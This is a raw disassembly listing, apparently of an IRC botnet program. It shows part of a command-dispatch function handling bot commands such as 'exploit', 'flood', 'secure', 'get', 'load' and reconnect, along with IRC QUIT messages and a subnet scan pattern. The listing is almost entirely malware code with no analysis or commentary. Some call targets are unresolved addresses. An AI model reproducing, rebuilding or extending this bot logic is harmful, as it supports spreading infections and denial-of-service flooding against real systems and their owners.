					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26B0C98h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aDarksf	; "Darksf"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
